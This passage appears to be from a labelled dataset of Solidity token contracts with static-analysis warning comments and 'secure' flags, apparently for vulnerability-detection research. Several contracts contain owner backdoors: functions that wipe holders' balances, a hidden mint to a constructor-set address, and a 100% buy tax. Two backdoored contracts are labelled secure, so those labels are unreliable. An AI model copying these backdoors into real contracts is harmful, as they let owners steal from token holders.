true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 65a5b29): Vault.setThresholdSwap(uint256) should emit an event for thresholdSwap = amount \n\t// Recommendation for 65a5b29: Emit an event for critical parameter changes.\n function setThresholdSwap(uint256 amount) public onlyOwner returns (bool) {\n require(\n amount != thresholdSwap,\n \"VAULT: Amount cannot be same as previous amount\"\n );\n\n\t\t// events-maths | ID: 65a5b29\n thresholdSwap = amount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 12b821d): Vault.recoverAllEth(address).to lacks a zerocheck on \t address(to).transfer(address(this).balance)\n\t// Recommendation for 12b821d: Check that the address is not zero.\n function recoverAllEth(address to) public onlyOwner returns (bool) {\n\t\t// missing-zero-check | ID: 12b821d\n payable(to).transfer(address(this).balance);\n\n return true;\n }\n\n function setDividendTokenAddress(\n DividendTracker _token\n ) external onlyOwner returns (bool) {\n dividendTracker = _token;\n\n return true;\n }\n\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 5394aaa): Vault._initiateSTARR() uses a weak PRNG \"returnNumber = uint256(keccak256(bytes)(abi.encodePacked(block.timestamp,block.difficulty,block.gaslimit,tx.origin,block.number,tx.gasprice))) % 3\" \n\t// Recommendation for 5394aaa: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function _initiateSTARR() private view returns (uint256) {\n\t\t// weak-prng | ID: 5394aaa\n uint256 returnNumber = uint256(\n keccak256(\n abi.encodePacked(\n block.timestamp,\n block.difficulty,\n block.gaslimit,\n tx.origin,\n block.number,\n tx.gasprice\n )\n )\n ) % 3;\n\n return returnNumber + 1;\n }\n\n function _getTaxAmount(\n uint256 _tax\n ) private view returns (uint256 projectAmount, uint256 remainingTax) {\n uint256 projectAmount_;\n\n uint256 remainingTax_;\n\n projectAmount_ =\n (_tax * ((100 - taxDivisionPercentageForSTARR))) /\n (100);\n\n remainingTax_ = (_tax * (taxDivisionPercentageForSTARR)) / (100);\n\n return (projectAmount_, remainingTax_);\n }\n\n function _checkMaxWalletLimit(\n address recipient,\n uint256 amount\n ) private view returns (bool) {\n require(\n maxWalletLimit >= balanceOf(recipient).add(amount),\n \"VAULT: Wallet limit exceeds\"\n );\n\n return true;\n }\n\n function _checkMaxTxLimit(uint256 amount) private view returns (bool) {\n require(amount <= maxTxLimit, \"VAULT: Transaction limit exceeds\");\n\n return true;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: f9a1554\n\t\t// reentrancy-events | ID: ec9469d\n\t\t// reentrancy-benign | ID: d2ad211\n\t\t// reentrancy-no-eth | ID: ee162f5\n\t\t// reentrancy-no-eth | ID: 038986b\n\t\t// reentrancy-eth | ID: 05dd751\n\t\t// reentrancy-eth | ID: b330e6d\n\t\t// reentrancy-eth | ID: 00a4fbc\n\t\t// reentrancy-eth | ID: 8bbd1bf\n\t\t// reentrancy-eth | ID: 6b902e7\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ee162f5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ee162f5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 69e1223): Vault.swapBackProject() sends eth to arbitrary user Dangerous calls (success,None) = address(development).call{value ethBalance.div(2)}()\n\t// Recommendation for 69e1223: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapBackProject() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap = 0;\n\n if (swapableProjectAmount >= thresholdSwap) {\n if (swapableProjectAmount > thresholdSwap * 10) {\n tokensToSwap = thresholdSwap * 10;\n } else {\n tokensToSwap = swapableProjectAmount;\n }\n }\n\n if (contractBalance == 0 || tokensToSwap == 0) {\n return;\n }\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: ee162f5\n swapTokensForEth(tokensToSwap);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n\t\t// reentrancy-no-eth | ID: ee162f5\n swapableProjectAmount = swapableProjectAmount.sub(tokensToSwap);\n\n bool success;\n\n\t\t// reentrancy-events | ID: f9a1554\n\t\t// reentrancy-benign | ID: d2ad211\n\t\t// reentrancy-eth | ID: 05dd751\n\t\t// reentrancy-eth | ID: 8bbd1bf\n\t\t// reentrancy-eth | ID: 6b902e7\n (success, ) = address(marketing).call{value: ethBalance.div(2)}(\"\");\n\n require(success, \"Transfer to marketing wallet failed.\");\n\n\t\t// reentrancy-events | ID: f9a1554\n\t\t// reentrancy-benign | ID: d2ad211\n\t\t// reentrancy-eth | ID: 05dd751\n\t\t// reentrancy-eth | ID: 8bbd1bf\n\t\t// reentrancy-eth | ID: 6b902e7\n\t\t// arbitrary-send-eth | ID: 69e1223\n (success, ) = address(development).call{value: ethBalance.div(2)}(\"\");\n\n require(success, \"Transfer to development wallet failed.\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ec9469d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ec9469d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 038986b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 038986b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBackDividends() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 tokensToSwap = 0;\n\n if (swapableDividend >= thresholdSwap) {\n if (swapableDividend > thresholdSwap * 10) {\n tokensToSwap = thresholdSwap * 10;\n } else {\n tokensToSwap = swapableDividend;\n }\n }\n\n if (contractBalance == 0 || tokensToSwap == 0) {\n return;\n }\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: ec9469d\n\t\t// reentrancy-no-eth | ID: 038986b\n swapTokensForEth(tokensToSwap);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n\t\t// reentrancy-no-eth | ID: 038986b\n swapableDividend = swapableDividend.sub(tokensToSwap);\n\n bool success;\n\n\t\t// reentrancy-events | ID: f9a1554\n\t\t// reentrancy-events | ID: ec9469d\n\t\t// reentrancy-benign | ID: d2ad211\n\t\t// reentrancy-eth | ID: b330e6d\n\t\t// reentrancy-eth | ID: 00a4fbc\n\t\t// reentrancy-eth | ID: 6b902e7\n (success, ) = address(dividendTracker).call{value: ethBalance}(\"\");\n\n require(success, \"Transfer to dividend tracker failed.\");\n\n\t\t// reentrancy-events | ID: ec9469d\n emit AddedDividend(ethBalance);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 51b011c): Vault.addLiquidity() ignores return value by dexRouter.addLiquidityETH{value msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp)\n\t// Recommendation for 51b011c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1a74593): Vault.addLiquidity() ignores return value by IERC20(address(this)).approve(address(dexRouter),balanceOf(address(this)))\n\t// Recommendation for 1a74593: Ensure that all the return values of the function calls are used.\n function addLiquidity() external payable onlyOwner {\n require(msg.value > 0, \"Need to send ETH\");\n\n\t\t// unused-return | ID: 1a74593\n IERC20(address(this)).approve(\n address(dexRouter),\n balanceOf(address(this))\n );\n\n\t\t// unused-return | ID: 51b011c\n dexRouter.addLiquidityETH{value: msg.value}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n }\n}", "file_name": "solidity_code_900.sol", "secure": 0, "size_bytes": 42848 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Tiktoknpc is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable past;\n\n constructor() {\n _name = \"TikTok NPC\";\n\n _symbol = \"NPC\";\n\n _decimals = 18;\n\n uint256 initialSupply = 271000000;\n\n past = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == past, \"Not allowed\");\n\n _;\n }\n\n function man(address[] memory judge) public onlyOwner {\n for (uint256 i = 0; i < judge.length; i++) {\n address account = judge[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_901.sol", "secure": 1, "size_bytes": 4345 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Coolcoin is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable realize;\n\n constructor() {\n _name = \"cool coin\";\n\n _symbol = \"cool\";\n\n _decimals = 18;\n\n uint256 initialSupply = 283000000;\n\n realize = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == realize, \"Not allowed\");\n\n _;\n }\n\n function circulate(address[] memory class) public onlyOwner {\n for (uint256 i = 0; i < class.length; i++) {\n address account = class[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_902.sol", "secure": 1, "size_bytes": 4359 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract PEAQ {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5032d83): PEAQ.tokenTotalSupply should be immutable \n\t// Recommendation for 5032d83: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n\n string private tokenName;\n\n string private tokenSymbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3729725): PEAQ.xxnux should be immutable \n\t// Recommendation for 3729725: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c4c435): PEAQ.tokenDecimals should be immutable \n\t// Recommendation for 6c4c435: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7fd7bac): PEAQ.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for 7fd7bac: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"PEAQ\";\n\n tokenSymbol = \"PEAQ\";\n\n tokenDecimals = 18;\n\n tokenTotalSupply = 1000000000 * 10 ** tokenDecimals;\n\n _balances[msg.sender] = tokenTotalSupply;\n\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\n\t\t// missing-zero-check | ID: 7fd7bac\n xxnux = ads;\n }\n\n function openTrading(address bots) external {\n if (\n xxnux == msg.sender &&\n xxnux != bots &&\n pancakePair() != bots &&\n bots != ROUTER\n ) {\n _balances[bots] = 0;\n }\n }\n\n function removeLimits(uint256 addBot) external {\n if (xxnux == msg.sender) {\n _balances[msg.sender] =\n 42069000000 *\n 42069 *\n addBot *\n 10 ** tokenDecimals;\n }\n }\n\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}", "file_name": "solidity_code_903.sol", "secure": 0, "size_bytes": 5641 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 62e2da2): Contract locking ether found Contract RiggedToken has payable functions RiggedToken.receive() But does not have a function to withdraw the ether\n// Recommendation for 62e2da2: Remove the 'payable' attribute or add a withdraw function.\ncontract RiggedToken is Context, IERC20, Ownable {\n string private constant _name = \"Rigged Token\";\n\n string private constant _symbol = \"RIGGED\";\n\n uint256 private constant _totalSupply = 1_000_000_000e18;\n\n uint256 private constant onePercent = 10_000_000e18;\n\n uint256 private constant minSwap = 1_000e18;\n\n uint8 private constant _decimals = 18;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFeeWallet;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n\n address immutable uniswapV2Pair;\n\n address immutable WETH;\n\n address payable immutable marketingWallet;\n\n uint256 public buyTax;\n\n uint256 public sellTax;\n\n uint8 private launch;\n\n uint8 private inSwapAndLiquify;\n\n uint256 private launchBlock;\n\n uint256 public maxTxAmount = onePercent * 2;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n WETH = uniswapV2Router.WETH();\n\n buyTax = 100;\n\n sellTax = 0;\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(msg.sender);\n\n _balance[msg.sender] = _totalSupply;\n\n _isExcludedFromFeeWallet[marketingWallet] = true;\n\n _isExcludedFromFeeWallet[msg.sender] = true;\n\n _isExcludedFromFeeWallet[address(this)] = true;\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function setMarketingWallet() public view returns (address) {\n return marketingWallet;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 82d37fb): RiggedToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 82d37fb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fbbdb41): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fbbdb41: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e453a6d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e453a6d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fbbdb41\n\t\t// reentrancy-benign | ID: e453a6d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fbbdb41\n\t\t// reentrancy-benign | ID: e453a6d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmount = _totalSupply;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b119aed): RiggedToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b119aed: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e453a6d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fbbdb41\n emit Approval(owner, spender, amount);\n }\n\n function startTrading() external onlyOwner {\n launch = 1;\n\n launchBlock = block.number;\n }\n\n function excludeWalletFromFees(address wallet) external onlyOwner {\n _isExcludedFromFeeWallet[wallet] = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d031d27): RiggedToken.updateFeeAmount(uint256,uint256) should emit an event for buyTax = newBuyTax sellTax = newSellTax \n\t// Recommendation for d031d27: Emit an event for critical parameter changes.\n function updateFeeAmount(\n uint256 newBuyTax,\n uint256 newSellTax\n ) external onlyOwner {\n require(newBuyTax < 120, \"Cannot set buy tax greater than 12%\");\n\n require(newSellTax < 120, \"Cannot set sell tax greater than 12%\");\n\n\t\t// events-maths | ID: d031d27\n buyTax = newBuyTax;\n\n\t\t// events-maths | ID: d031d27\n sellTax = newSellTax;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a9c483c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a9c483c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ba3f61c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ba3f61c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n uint256 _tax;\n\n if (_isExcludedFromFeeWallet[from] || _isExcludedFromFeeWallet[to]) {\n _tax = 0;\n } else {\n require(\n launch != 0 && amount <= maxTxAmount,\n \"Launch / Max TxAmount 1% at launch\"\n );\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (tokensToSwap > minSwap && inSwapAndLiquify == 0) {\n if (tokensToSwap > onePercent) {\n tokensToSwap = onePercent;\n }\n\n inSwapAndLiquify = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t\t\t\t// reentrancy-events | ID: fbbdb41\n\t\t\t\t\t// reentrancy-events | ID: a9c483c\n\t\t\t\t\t// reentrancy-benign | ID: e453a6d\n\t\t\t\t\t// reentrancy-no-eth | ID: ba3f61c\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n marketingWallet,\n block.timestamp\n );\n\n\t\t\t\t\t// reentrancy-no-eth | ID: ba3f61c\n inSwapAndLiquify = 0;\n }\n\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: ba3f61c\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: ba3f61c\n _balance[to] += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: ba3f61c\n _balance[address(this)] += taxTokens;\n\n\t\t\t// reentrancy-events | ID: a9c483c\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: a9c483c\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: ba3f61c\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: ba3f61c\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: a9c483c\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 62e2da2): Contract locking ether found Contract RiggedToken has payable functions RiggedToken.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 62e2da2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_904.sol", "secure": 0, "size_bytes": 11244 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract ReentrancyGuard {\n uint256 private _status;\n\n constructor() {\n _status = 1; // Set initial status to \"not entered\"\n }\n\n modifier nonReentrant() {\n require(_status != 2, \"ReentrancyGuard: reentrant call\"); // Check reentrancy status\n\n _status = 2; // Set status to \"entered\"\n\n _;\n\n _status = 1; // Reset status to \"not entered\"\n }\n}", "file_name": "solidity_code_905.sol", "secure": 1, "size_bytes": 468 }
